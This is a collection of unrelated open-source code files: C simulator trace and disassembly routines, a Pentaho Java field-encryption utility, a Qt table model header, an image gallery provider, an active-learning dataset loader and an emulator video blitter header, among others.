SIZE_PC #define SIZE_PC 6 #endif #ifndef SIZE_LINE_NUMBER #define SIZE_LINE_NUMBER 4 #endif #ifndef SIZE_CYCLE_COUNT #define SIZE_CYCLE_COUNT 2 #endif #ifndef SIZE_TOTAL_CYCLE_COUNT #define SIZE_TOTAL_CYCLE_COUNT 9 #endif #ifndef SIZE_TRACE_BUF #define SIZE_TRACE_BUF 1024 #endif /* Text is queued in TRACE_BUF because we want to output the insn's cycle count first but that isn't known until after the insn has executed. This also handles the queueing of trace results, TRACE_RESULT may be called multiple times for one insn. */ static char trace_buf[SIZE_TRACE_BUF]; /* If NULL, output to stdout directly. */ static char *bufptr; /* Non-zero if this is the first insn in a set of parallel insns. */ static int first_insn_p; /* For communication between cgen_trace_insn and cgen_trace_result. */ static int printed_result_p; /* Insn and its extracted fields. Set by cgen_trace_insn, used by cgen_trace_insn_fini. ??? Move to SIM_CPU to support heterogeneous multi-cpu case. */ static const struct cgen_insn *current_insn; static const struct argbuf *current_abuf; void cgen_trace_insn_init (SIM_CPU *cpu, int first_p) { bufptr = trace_buf; *bufptr = 0; first_insn_p = first_p; /* Set to NULL so cgen_trace_insn_fini can know if cgen_trace_insn was called. */ current_insn = NULL; current_abuf = NULL; } void cgen_trace_insn_fini (SIM_CPU *cpu, const struct argbuf *abuf, int last_p) { SIM_DESC sd = CPU_STATE (cpu); /* Was insn traced? It might not be if trace ranges are in effect. */ if (current_insn == NULL) return; /* The first thing printed is current and total cycle counts. */ if (PROFILE_MODEL_P (cpu) && ARGBUF_PROFILE_P (current_abuf)) { unsigned long total = PROFILE_MODEL_TOTAL_CYCLES (CPU_PROFILE_DATA (cpu)); unsigned long this_insn = PROFILE_MODEL_CUR_INSN_CYCLES (CPU_PROFILE_DATA (cpu)); if (last_p) { trace_printf (sd, cpu, "%-*ld %-*ld ", SIZE_CYCLE_COUNT, this_insn, SIZE_TOTAL_CYCLE_COUNT, total); } else { trace_printf (sd, cpu, "%-*ld %-*s ", SIZE_CYCLE_COUNT, this_insn, SIZE_TOTAL_CYCLE_COUNT, "---"); } } /* Print the disassembled insn. */ trace_printf (sd, cpu, "%s", TRACE_PREFIX (CPU_TRACE_DATA (cpu))); #if 0 /* Print insn results. */ { const CGEN_OPINST *opinst = CGEN_INSN_OPERANDS (current_insn); if (opinst) { int i; int indices[MAX_OPERAND_INSTANCES]; /* Fetch the operands used by the insn. */ /* FIXME: Add fn ptr to CGEN_CPU_DESC. */ CGEN_SYM (get_insn_operands) (CPU_CPU_DESC (cpu), current_insn, 0, CGEN_FIELDS_BITSIZE (&insn_fields), indices); for (i = 0; CGEN_OPINST_TYPE (opinst) != CGEN_OPINST_END; ++i, ++opinst) { if (CGEN_OPINST_TYPE (opinst) == CGEN_OPINST_OUTPUT) cgen_trace_result (cpu, current_insn, opinst, indices[i]); } } } #endif /* Print anything else requested. */ if (*trace_buf) trace_printf (sd, cpu, " %s\n", trace_buf); else trace_printf (sd, cpu, "\n"); } void cgen_trace_insn (SIM_CPU *cpu, const struct cgen_insn *opcode, const struct argbuf *abuf, IADDR pc) { char disasm_buf[50]; printed_result_p = 0; current_insn = opcode; current_abuf = abuf; if (CGEN_INSN_VIRTUAL_P (opcode)) { trace_prefix (CPU_STATE (cpu), cpu, NULL_CIA, pc, 0, NULL, 0, CGEN_INSN_NAME (opcode)); return; } CPU_DISASSEMBLER (cpu) (cpu, opcode, abuf, pc, disasm_buf); trace_prefix (CPU_STATE (cpu), cpu, NULL_CIA, pc, TRACE_LINENUM_P (cpu), NULL, 0, "%s%-*s", first_insn_p ? " " : "|", SIZE_INSTRUCTION, disasm_buf); } void cgen_trace_extract (SIM_CPU *cpu, IADDR pc, char *name, ...) { va_list args; int printed_one_p = 0; char *fmt; va_start (args, name); trace_printf (CPU_STATE (cpu), cpu, "Extract: 0x%.*lx: %s ", SIZE_PC, (unsigned long) pc, name); do { int type,ival; fmt = va_arg (args, char *); if (fmt) { if (printed_one_p) trace_printf (CPU_STATE (cpu), cpu, ", "); printed_one_p = 1; type = va_arg (args, int); switch (type) { case 'x' : ival = va_arg (args, int); trace_printf (CPU_STATE (cpu), cpu, fmt, ival); break; default : abort (); } } } while (fmt); va_end (args); trace_printf (CPU_STATE (cpu), cpu, "\n"); } void cgen_trace_result (SIM_CPU *cpu, char *name, int type, ...) { va_list args; va_start (args, type); if (printed_result_p) cgen_trace_printf (cpu, ", "); switch (type) { case 'x' : default : cgen_trace_printf (cpu, "%s <- 0x%x", name, va_arg (args, int)); break; case 'f': { DI di; sim_fpu f; /* this is separated from previous line for sunos cc */ di = va_arg (args, DI); sim_fpu_64to (&f, di); cgen_trace_printf (cpu, "%s <- ", name); sim_fpu_printn_fpu (&f, (sim_fpu_print_func *) cgen_trace_printf, 4, cpu); break; } case 'D' : { DI di; /* this is separated from previous line for sunos cc */ di = va_arg (args, DI); cgen_trace_printf (cpu, "%s <- 0x%x%08x", name, GETHIDI(di), GETLODI (di)); break; } } printed_result_p = 1; va_end (args); } /* Print trace output to BUFPTR if active, otherwise print normally. This is only for tracing semantic code. */ void cgen_trace_printf (SIM_CPU *cpu, char *fmt, ...) { va_list args; va_start (args, fmt); if (bufptr == NULL) { if (TRACE_FILE (CPU_TRACE_DATA (cpu)) == NULL) (* STATE_CALLBACK (CPU_STATE (cpu))->evprintf_filtered) (STATE_CALLBACK (CPU_STATE (cpu)), fmt, args); else vfprintf (TRACE_FILE (CPU_TRACE_DATA (cpu)), fmt, args); } else { vsprintf (bufptr, fmt, args); bufptr += strlen (bufptr); /* ??? Need version of SIM_ASSERT that is always enabled. */ if (bufptr - trace_buf > SIZE_TRACE_BUF) abort (); } va_end (args); } /* Disassembly support. */ /* sprintf to a "stream" */ int sim_disasm_sprintf (SFILE *f, const char *format, ...) { int n; va_list args; va_start (args, format); vsprintf (f->current, format, args); f->current += n = strlen (f->current); va_end (args); return n; } /* Memory read support for an opcodes disassembler. */ int sim_disasm_read_memory (bfd_vma memaddr, bfd_byte *myaddr, unsigned int length, struct disassemble_info *info) { SIM_CPU *cpu = (SIM_CPU *) info->application_data; SIM_DESC sd = CPU_STATE (cpu); unsigned length_read; length_read = sim_core_read_buffer (sd, cpu, read_map, myaddr, memaddr, length); if (length_read != length) return EIO; return 0; } /* Memory error support for an opcodes disassembler. */ void sim_disasm_perror_memory (int status, bfd_vma memaddr, struct disassemble_info *info) { if (status != EIO) /* Can't happen. */ info->fprintf_func (info->stream, "Unknown error %d.", status); else /* Actually, address between memaddr and memaddr + len was out of bounds. */ info->fprintf_func (info->stream, "Address 0x%x is out of bounds.", (int) memaddr); } /* Disassemble using the CGEN opcode table. ??? While executing an instruction, the insn has been decoded and all its fields have been extracted. It is certainly possible to do the disassembly with that data. This seems simpler, but maybe in the future the already extracted fields will be used. */ void sim_cgen_disassemble_insn (SIM_CPU *cpu, const CGEN_INSN *insn, const ARGBUF *abuf, IADDR pc, char *buf) { unsigned int length; unsigned int base_length; unsigned long insn_value; struct disassemble_info disasm_info; SFILE sfile; union { unsigned8 bytes[CGEN_MAX_INSN_SIZE]; unsigned16 shorts[8]; unsigned32 words[4]; } insn_buf; SIM_DESC sd = CPU_STATE (cpu); CGEN_CPU_DESC cd = CPU_CPU_DESC (cpu); CGEN_EXTRACT_INFO ex_info; CGEN_FIELDS *fields = alloca (CGEN_CPU_SIZEOF_FIELDS (cd)); int insn_bit_length = CGEN_INSN_BITSIZE (insn); int insn_length = insn_bit_length / 8; sfile.buffer = sfile.current = buf; INIT_DISASSEMBLE_INFO (disasm_info, (FILE *) &sfile, (fprintf_ftype) sim_disasm_sprintf); disasm_info.endian = (bfd_big_endian (STATE_PROG_BFD (sd)) ? BFD_ENDIAN_BIG : bfd_little_endian (STATE_PROG_BFD (sd)) ? BFD_ENDIAN_LITTLE : BFD_ENDIAN_UNKNOWN); length = sim_core_read_buffer (sd, cpu, read_map, &insn_buf, pc, insn_length); if (length != insn_length) { sim_io_error (sd, "unable to read address %x", pc); } /* If the entire insn will fit into an integer, then do it. Otherwise, just use the bits of the base_insn. */ if (insn_bit_length <= 32) base_length = insn_bit_length; else base_length = min (cd->base_insn_bitsize, insn_bit_length); switch (base_length) { case 0 : return; /* fake insn, typically "compile" (aka "invalid") */ case 8 : insn_value = insn_buf.bytes[0]; break; case 16 : insn_value = T2H_2 (insn_buf.shorts[0]); break; case 32 : insn_value = T2H_4 (insn_buf.words[0]); break; default: abort (); } disasm_info.buffer_vma = pc; disasm_info.buffer = insn_buf.bytes; disasm_info.buffer_length = length; ex_info.dis_info = (PTR) &disasm_info; ex_info.valid = (1 << length) - 1; ex_info.insn_bytes = insn_buf.bytes; length = (*CGEN_EXTRACT_FN (cd, insn)) (cd, insn, &ex_info, insn_value, fields, pc); /* Result of extract fn is in bits. */ /* ??? This assumes that each instruction has a fixed length (and thus for insns with multiple versions of variable lengths they would each have their own table entry). */ if (length == insn_bit_length) { (*CGEN_PRINT_FN (cd, insn)) (cd, &disasm_info, insn, fields, pc, length); } else { /* This shouldn't happen, but aborting is too drastic. */ strcpy (buf, "***unknown***"); } }
4,482
5,903
<reponame>zhouguangping/pentaho-kettle<filename>core/src/main/java/org/pentaho/di/connections/utils/EncryptUtils.java /*! ****************************************************************************** * * Pentaho Data Integration * * Copyright (C) 2019 by <NAME> : http://www.pentaho.com * ******************************************************************************* * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ******************************************************************************/ package org.pentaho.di.connections.utils; import org.apache.commons.lang.StringUtils; import org.pentaho.di.connections.annotations.Encrypted; import org.pentaho.di.core.encryption.Encr; import java.lang.annotation.Annotation; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Arrays; import java.util.List; public class EncryptUtils { private static final String SET_PREFIX = "set"; private static final String GET_PREFIX = "get"; private EncryptUtils() { } public static void encryptFields( Object object ) { List<Field> fields = getFields( object ); fields.forEach( field -> { String value = getValue( object, field ); if ( value != null ) { String encrypted = Encr.encryptPasswordIfNotUsingVariables( value ); setValue( object, field, encrypted ); } } ); } public static void decryptFields( Object connectionDetails ) { List<Field> fields = getFields( connectionDetails ); fields.forEach( field -> { String value = getValue( connectionDetails, field ); if ( value != null ) { String decrypted = Encr.decryptPasswordOptionallyEncrypted( value ); setValue( connectionDetails, field, decrypted ); } } ); } private static List<Field> getFields( Object connectionDetails ) { List<Field> fields = new ArrayList<>(); for ( Field field : connectionDetails.getClass().getDeclaredFields() ) { Annotation annotation = Arrays.stream( field.getAnnotations() ).filter( annotation1 -> annotation1 instanceof Encrypted ).findAny().orElse( null ); if ( annotation != null ) { fields.add( field ); } } return fields; } public static void setValue( Object object, Field field, String value ) { try { Method setMethod = object.getClass().getMethod( SET_PREFIX + StringUtils.capitalize( field.getName() ), String.class ); setMethod.invoke( object, value ); } catch ( NoSuchMethodException | InvocationTargetException | IllegalAccessException ignore ) { // ignore } } public static String getValue( Object object, Field field ) { try { Method getMethod = object.getClass().getMethod( GET_PREFIX + StringUtils.capitalize( field.getName() ) ); if ( getMethod != null ) { return (String) getMethod.invoke( object ); } else { return null; } } catch ( NoSuchMethodException | IllegalAccessException | InvocationTargetException e ) { return null; } } }
1,140
3,425
from nameko.containers import ServiceContainer class Service: name = "service" # create a container container = ServiceContainer(Service, config={}) # ``container.extensions`` exposes all extensions used by the service service_extensions = list(container.extensions) # start service container.start() # stop service container.stop()
90
302
<filename>questions/51751453/tablemodel.h #ifndef FOOTABLEMODEL_H #define FOOTABLEMODEL_H #include <QAbstractTableModel> #include <QBrush> struct Item { QString text = ""; QBrush textColor = Qt::black; QBrush bgColor = Qt::white; }; class TableModel : public QAbstractTableModel { Q_OBJECT public: TableModel(int rows = 1, int columns = 1, QObject *parent = nullptr); int rowCount(const QModelIndex &parent = QModelIndex()) const; int columnCount(const QModelIndex &parent = QModelIndex()) const; QVariant data(const QModelIndex &index, int role) const; QVariant headerData(int section, Qt::Orientation orientation, int role = Qt::DisplayRole) const; Qt::ItemFlags flags(const QModelIndex &index) const; bool setData(const QModelIndex &index, const QVariant &value, int role = Qt::EditRole); bool insertRows(int position, int rows, const QModelIndex &parent = QModelIndex()); bool insertColumns(int position, int columns, const QModelIndex &parent = QModelIndex()); bool removeRows(int position, int rows, const QModelIndex &parent = QModelIndex()); bool removeColumns(int position, int columns, const QModelIndex &parent = QModelIndex()); private: QList<QList<Item>> m_items; }; #endif // FOOTABLEMODEL_H
512
3,710
#pragma once /*------------------------------------ Iwa_DirectionalBlurFx ボケ足の伸ばし方を選択でき、参照画像を追加した DirectionalBlur //------------------------------------*/ #ifndef IWA_DIRECTIONAL_BLUR_H #define IWA_DIRECTIONAL_BLUR_H #include "tfxparam.h" #include "stdfx.h" struct float2 { float x, y; }; struct float4 { float x, y, z, w; }; struct int2 { int x, y; }; class Iwa_DirectionalBlurFx final : public TStandardRasterFx { FX_PLUGIN_DECLARATION(Iwa_DirectionalBlurFx) TRasterFxPort m_input; TRasterFxPort m_reference; TDoubleParamP m_angle; TDoubleParamP m_intensity; TBoolParamP m_bidirectional; /*- リニア/ガウシアン/平均化 -*/ TIntEnumParamP m_filterType; /*- 参照画像の輝度を0〜1に正規化してホストメモリに読み込む -*/ template <typename RASTER, typename PIXEL> void setReferenceRaster(const RASTER srcRas, float *dstMem, TDimensionI dim); /*- ソース画像を0〜1に正規化してホストメモリに読み込む -*/ template <typename RASTER, typename PIXEL> void setSourceRaster(const RASTER srcRas, float4 *dstMem, TDimensionI dim); /*- 出力結果をChannel値に変換して格納 -*/ template <typename RASTER, typename PIXEL> void setOutputRaster(float4 *srcMem, const RASTER dstRas, TDimensionI dim, int2 margin); void doCompute_CPU(TTile &tile, double frame, const TRenderSettings &settings, TPointD &blur, bool bidirectional, int marginLeft, int marginRight, int marginTop, int marginBottom, TDimensionI &enlargedDimIn, TTile &enlarge_tile, TDimensionI &dimOut, TDimensionI &filterDim, float *reference_host); void makeDirectionalBlurFilter_CPU(float *filter, TPointD &blur, bool bidirectional, int marginLeft, int marginRight, int marginTop, int marginBottom, TDimensionI &filterDim); public: Iwa_DirectionalBlurFx(); void doCompute(TTile &tile, double frame, const TRenderSettings &settings) override; bool doGetBBox(double frame, TRectD &bBox, const TRenderSettings &info) override; bool canHandle(const TRenderSettings &info, double frame) override; void getParamUIs(TParamUIConcept *&concepts, int &length) override; }; #endif
1,129
2,890
<filename>lts-core/src/main/java/com/github/ltsopensource/store/jdbc/datasource/DataSourceProvider.java package com.github.ltsopensource.store.jdbc.datasource; import com.github.ltsopensource.core.cluster.Config; import com.github.ltsopensource.core.spi.SPI; import com.github.ltsopensource.core.constant.ExtConfig; import javax.sql.DataSource; /** * @author <NAME> (<EMAIL>) on 10/24/14. */ @SPI(key = ExtConfig.JDBC_DATASOURCE_PROVIDER, dftValue = "mysql") public interface DataSourceProvider { DataSource getDataSource(Config config); }
204
465
import numpy as np import torch from torchvision import datasets class Data: def __init__(self, X_train, Y_train, X_test, Y_test, handler): self.X_train = X_train self.Y_train = Y_train self.X_test = X_test self.Y_test = Y_test self.handler = handler self.n_pool = len(X_train) self.n_test = len(X_test) self.labeled_idxs = np.zeros(self.n_pool, dtype=bool) def initialize_labels(self, num): # generate initial labeled pool tmp_idxs = np.arange(self.n_pool) np.random.shuffle(tmp_idxs) self.labeled_idxs[tmp_idxs[:num]] = True def get_labeled_data(self): labeled_idxs = np.arange(self.n_pool)[self.labeled_idxs] return labeled_idxs, self.handler(self.X_train[labeled_idxs], self.Y_train[labeled_idxs]) def get_unlabeled_data(self): unlabeled_idxs = np.arange(self.n_pool)[~self.labeled_idxs] return unlabeled_idxs, self.handler(self.X_train[unlabeled_idxs], self.Y_train[unlabeled_idxs]) def get_train_data(self): return self.labeled_idxs.copy(), self.handler(self.X_train, self.Y_train) def get_test_data(self): return self.handler(self.X_test, self.Y_test) def cal_test_acc(self, preds): return 1.0 * (self.Y_test==preds).sum().item() / self.n_test def get_MNIST(handler): raw_train = datasets.MNIST('./data/MNIST', train=True, download=True) raw_test = datasets.MNIST('./data/MNIST', train=False, download=True) return Data(raw_train.data[:40000], raw_train.targets[:40000], raw_test.data[:40000], raw_test.targets[:40000], handler) def get_FashionMNIST(handler): raw_train = datasets.FashionMNIST('./data/FashionMNIST', train=True, download=True) raw_test = datasets.FashionMNIST('./data/FashionMNIST', train=False, download=True) return Data(raw_train.data[:40000], raw_train.targets[:40000], raw_test.data[:40000], raw_test.targets[:40000], handler) def get_SVHN(handler): data_train = datasets.SVHN('./data/SVHN', split='train', download=True) data_test = datasets.SVHN('./data/SVHN', split='test', download=True) return Data(data_train.data[:40000], torch.from_numpy(data_train.labels)[:40000], data_test.data[:40000], torch.from_numpy(data_test.labels)[:40000], handler) def get_CIFAR10(handler): data_train = datasets.CIFAR10('./data/CIFAR10', train=True, download=True) data_test = datasets.CIFAR10('./data/CIFAR10', train=False, download=True) return Data(data_train.data[:40000], torch.LongTensor(data_train.targets)[:40000], data_test.data[:40000], torch.LongTensor(data_test.targets)[:40000], handler)
1,208
460
<reponame>heatedcpu/webkettle package org.sxdata.jingwei.dao; import org.flhy.ext.Task.ExecutionTraceEntity; import org.springframework.stereotype.Repository; import java.util.List; /** * Created by cRAZY on 2017/4/5. */ @Repository("taskExecutionTraceDao") public interface ExecutionTraceDao { public void addExecutionTrace(ExecutionTraceEntity trace); public List<ExecutionTraceEntity> getAllLogByPage(int start,int limit,String statu,String type,String startDate,String taskName,String userGroupName); public Integer getAllLogCount(String statu,String type,String startDate,String taskName,String userGroupName); public ExecutionTraceEntity getTraceById(Integer id); }
224
8,194
/* * Copyright 2016 <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.hippo.ehviewer.gallery; import android.os.Process; import android.util.Log; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import com.hippo.ehviewer.GetText; import com.hippo.ehviewer.R; import com.hippo.glgallery.GalleryPageView; import com.hippo.image.Image; import com.hippo.unifile.FilenameFilter; import com.hippo.unifile.UniFile; import com.hippo.util.NaturalComparator; import com.hippo.yorozuya.FileUtils; import com.hippo.yorozuya.IOUtils; import com.hippo.yorozuya.StringUtils; import com.hippo.yorozuya.thread.PriorityThread; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Arrays; import java.util.Comparator; import java.util.Stack; import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicReference; public class DirGalleryProvider extends GalleryProvider2 implements Runnable { private static final String TAG = DirGalleryProvider.class.getSimpleName(); private static final AtomicInteger sIdGenerator = new AtomicInteger(); private final UniFile mDir; private final Stack<Integer> mRequests = new Stack<>(); private final AtomicInteger mDecodingIndex = new AtomicInteger(GalleryPageView.INVALID_INDEX); private final AtomicReference<UniFile[]> mFileList = new AtomicReference<>(); @Nullable private Thread mBgThread; private volatile int mSize = STATE_WAIT; private String mError; public DirGalleryProvider(@NonNull UniFile dir) { mDir = dir; } @Override public void start() { super.start(); mBgThread = new PriorityThread(this, TAG + '-' + sIdGenerator.incrementAndGet(), Process.THREAD_PRIORITY_BACKGROUND); mBgThread.start(); } @Override public void stop() { super.stop(); if (mBgThread != null) { mBgThread.interrupt(); mBgThread = null; } } @Override public int size() { return mSize; } @Override protected void onRequest(int index) { synchronized (mRequests) { if (!mRequests.contains(index) && index != mDecodingIndex.get()) { mRequests.add(index); mRequests.notify(); } } notifyPageWait(index); } @Override protected void onForceRequest(int index) { onRequest(index); } @Override public void onCancelRequest(int index) { synchronized (mRequests) { mRequests.remove(Integer.valueOf(index)); } } @Override public String getError() { return mError; } @NonNull @Override public String getImageFilename(int index) { // TODO return Integer.toString(index); } @Override public boolean save(int index, @NonNull UniFile file) { UniFile[] fileList = mFileList.get(); if (null == fileList || index < 0 || index >= fileList.length) { return false; } InputStream is = null; OutputStream os = null; try { is = fileList[index].openInputStream(); os = file.openOutputStream(); IOUtils.copy(is, os); return true; } catch (IOException e) { return false; } finally { IOUtils.closeQuietly(is); IOUtils.closeQuietly(os); } } @Nullable @Override public UniFile save(int index, @NonNull UniFile dir, @NonNull String filename) { UniFile[] fileList = mFileList.get(); if (null == fileList || index < 0 || index >= fileList.length) { return null; } UniFile src = fileList[index]; String extension = FileUtils.getExtensionFromFilename(src.getName()); UniFile dst = dir.subFile(null != extension ? filename + "." + extension : filename); if (null == dst) { return null; } InputStream is = null; OutputStream os = null; try { is = src.openInputStream(); os = dst.openOutputStream(); IOUtils.copy(is, os); return dst; } catch (IOException e) { return null; } finally { IOUtils.closeQuietly(is); IOUtils.closeQuietly(os); } } @Override public void run() { // It may take a long time, so run it in new thread UniFile[] files = mDir.listFiles(imageFilter); if (files == null) { mSize = STATE_ERROR; mError = GetText.getString(R.string.error_not_folder_path); // Notify to to show error notifyDataChanged(); Log.i(TAG, "ImageDecoder end with error"); return; } // Sort it Arrays.sort(files, naturalComparator); // Put file list mFileList.lazySet(files); // Set state normal and notify mSize = files.length; notifyDataChanged(); while (!Thread.currentThread().isInterrupted()) { int index; synchronized (mRequests) { if (mRequests.isEmpty()) { try { mRequests.wait(); } catch (InterruptedException e) { // Interrupted break; } continue; } index = mRequests.pop(); mDecodingIndex.lazySet(index); } // Check index valid if (index < 0 || index >= files.length) { mDecodingIndex.lazySet(GalleryPageView.INVALID_INDEX); notifyPageFailed(index, GetText.getString(R.string.error_out_of_range)); continue; } InputStream is = null; try { is = files[index].openInputStream(); Image image = Image.decode(is, true); mDecodingIndex.lazySet(GalleryPageView.INVALID_INDEX); if (image != null) { notifyPageSucceed(index, image); } else { notifyPageFailed(index, GetText.getString(R.string.error_decoding_failed)); } } catch (IOException e) { mDecodingIndex.lazySet(GalleryPageView.INVALID_INDEX); notifyPageFailed(index, GetText.getString(R.string.error_reading_failed)); } finally { IOUtils.closeQuietly(is); } mDecodingIndex.lazySet(GalleryPageView.INVALID_INDEX); } // Clear file list mFileList.lazySet(null); Log.i(TAG, "ImageDecoder end"); } private static FilenameFilter imageFilter = (dir, name) -> StringUtils.endsWith(name.toLowerCase(), SUPPORT_IMAGE_EXTENSIONS); private static Comparator<UniFile> naturalComparator = new Comparator<UniFile>() { private NaturalComparator comparator = new NaturalComparator(); @Override public int compare(UniFile o1, UniFile o2) { return comparator.compare(o1.getName(), o2.getName()); } }; }
3,516
5,169
<gh_stars>1000+ { "name": "AFPhotoBrowser", "version": "0.0.1", "license": "MIT", "summary": "Photo browser plugin with vertical and horizontal scroll.", "description": "AFPhotoBrowser is based on MWPhotoBrowser, I deprecated some API and add some new features, such as vertical scroll.", "screenshots": [ ], "homepage": "https://github.com/mkjfeng01/AFPhotoBrowser", "authors": { "mkjfeng01": "<EMAIL>" }, "source": { "git": "https://github.com/mkjfeng01/AFPhotoBrowser.git", "tag": "0.0.1" }, "platforms": { "ios": "10.0" }, "source_files": "Pod/Classes/**/*", "requires_arc": true, "frameworks": [ "ImageIO", "QuartzCore", "AssetsLibrary", "MediaPlayer" ], "weak_frameworks": "Photos", "dependencies": { "MBProgressHUD": [ ], "DACircularProgress": [ ], "SDWebImage": [ ] } }
352
940
<reponame>jvernet/macemu /* * video_blit.h - Video/graphics emulation, blitters * * Basilisk II (C) 1997-2008 <NAME> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef DEFINE_VIDEO_BLITTERS #ifndef VIDEO_BLIT_H #define VIDEO_BLIT_H // Format of the target visual struct VisualFormat { bool fullscreen; // Full screen mode? int depth; // Screen depth uint32 Rmask, Gmask, Bmask; // RGB mask values uint32 Rshift, Gshift, Bshift; // RGB shift values }; // Prototypes extern void (*Screen_blit)(uint8 * dest, const uint8 * source, uint32 length); extern bool Screen_blitter_init(VisualFormat const & visual_format, bool native_byte_order, int mac_depth); extern uint32 ExpandMap[256]; // Glue for SheepShaver and BasiliskII #ifdef SHEEPSHAVER enum { VIDEO_DEPTH_1BIT = APPLE_1_BIT, VIDEO_DEPTH_2BIT = APPLE_2_BIT, VIDEO_DEPTH_4BIT = APPLE_4_BIT, VIDEO_DEPTH_8BIT = APPLE_8_BIT, VIDEO_DEPTH_16BIT = APPLE_16_BIT, VIDEO_DEPTH_32BIT = APPLE_32_BIT }; #define VIDEO_MODE VideoInfo #define VIDEO_MODE_INIT VideoInfo const & mode = VModes[cur_mode] #define VIDEO_MODE_INIT_MONITOR VIDEO_MODE_INIT #define VIDEO_MODE_ROW_BYTES mode.viRowBytes #define VIDEO_MODE_X mode.viXsize #define VIDEO_MODE_Y mode.viYsize #define VIDEO_MODE_RESOLUTION mode.viAppleID #define VIDEO_MODE_DEPTH mode.viAppleMode #else enum { VIDEO_DEPTH_1BIT = VDEPTH_1BIT, VIDEO_DEPTH_2BIT = VDEPTH_2BIT, VIDEO_DEPTH_4BIT = VDEPTH_4BIT, VIDEO_DEPTH_8BIT = VDEPTH_8BIT, VIDEO_DEPTH_16BIT = VDEPTH_16BIT, VIDEO_DEPTH_32BIT = VDEPTH_32BIT }; #define VIDEO_MODE video_mode #define VIDEO_MODE_INIT video_mode const & mode = drv->mode #define VIDEO_MODE_INIT_MONITOR video_mode const & mode = monitor.get_current_mode() #define VIDEO_MODE_ROW_BYTES mode.bytes_per_row #define VIDEO_MODE_X mode.x #define VIDEO_MODE_Y mode.y #define VIDEO_MODE_RESOLUTION mode.resolution_id #define VIDEO_MODE_DEPTH mode.depth #endif #endif /* VIDEO_BLIT_H */ #else #ifndef FB_DEPTH # error "Undefined screen depth" #endif #if !defined(FB_BLIT_1) && (FB_DEPTH <= 16) # error "Undefined 16-bit word blit function" #endif #if !defined(FB_BLIT_2) # error "Undefined 32-bit word blit function" #endif #if !defined(FB_BLIT_4) # error "Undefined 64-bit word blit function" #endif static void FB_FUNC_NAME(uint8 * dest, const uint8 * source, uint32 length) { #define DEREF_WORD_PTR(ptr, ofs) (((uint16 *)(ptr))[(ofs)]) #define DEREF_LONG_PTR(ptr, ofs) (((uint32 *)(ptr))[(ofs)]) #define DEREF_QUAD_PTR(ptr, ofs) (((uint64 *)(ptr))[(ofs)]) #ifndef UNALIGNED_PROFITABLE #if FB_DEPTH <= 8 // Align source and dest to 16-bit word boundaries if (((unsigned long) source) & 1) { *dest++ = *source++; length -= 1; } #endif #if FB_DEPTH <= 16 // Align source and dest to 32-bit word boundaries if (((unsigned long) source) & 2) { FB_BLIT_1(DEREF_WORD_PTR(dest, 0), DEREF_WORD_PTR(source, 0)); dest += 2; source += 2; length -= 2; } #endif #endif // Blit 8-byte words if (length >= 8) { const int remainder = (length / 8) % 8; source += remainder * 8; dest += remainder * 8; int n = ((length / 8) + 7) / 8; switch (remainder) { case 0: do { dest += 64; source += 64; FB_BLIT_4(DEREF_QUAD_PTR(dest, -8), DEREF_QUAD_PTR(source, -8)); case 7: FB_BLIT_4(DEREF_QUAD_PTR(dest, -7), DEREF_QUAD_PTR(source, -7)); case 6: FB_BLIT_4(DEREF_QUAD_PTR(dest, -6), DEREF_QUAD_PTR(source, -6)); case 5: FB_BLIT_4(DEREF_QUAD_PTR(dest, -5), DEREF_QUAD_PTR(source, -5)); case 4: FB_BLIT_4(DEREF_QUAD_PTR(dest, -4), DEREF_QUAD_PTR(source, -4)); case 3: FB_BLIT_4(DEREF_QUAD_PTR(dest, -3), DEREF_QUAD_PTR(source, -3)); case 2: FB_BLIT_4(DEREF_QUAD_PTR(dest, -2), DEREF_QUAD_PTR(source, -2)); case 1: FB_BLIT_4(DEREF_QUAD_PTR(dest, -1), DEREF_QUAD_PTR(source, -1)); } while (--n > 0); } } // There could be one long left to blit if (length & 4) { FB_BLIT_2(DEREF_LONG_PTR(dest, 0), DEREF_LONG_PTR(source, 0)); #if FB_DEPTH <= 16 dest += 4; source += 4; #endif } #if FB_DEPTH <= 16 // There could be one word left to blit if (length & 2) { FB_BLIT_1(DEREF_WORD_PTR(dest, 0), DEREF_WORD_PTR(source, 0)); #if FB_DEPTH <= 8 dest += 2; source += 2; #endif } #endif #if FB_DEPTH <= 8 // There could be one byte left to blit if (length & 1) *dest = *source; #endif #undef DEREF_QUAD_PTR #undef DEREF_LONG_PTR #undef DEREF_WORD_PTR } #undef FB_FUNC_NAME #ifdef FB_BLIT_1 #undef FB_BLIT_1 #endif #ifdef FB_BLIT_2 #undef FB_BLIT_2 #endif #ifdef FB_BLIT_4 #undef FB_BLIT_4 #endif #ifdef FB_DEPTH #undef FB_DEPTH #endif #endif /* DEFINE_VIDEO_BLITTERS */
2,261
326
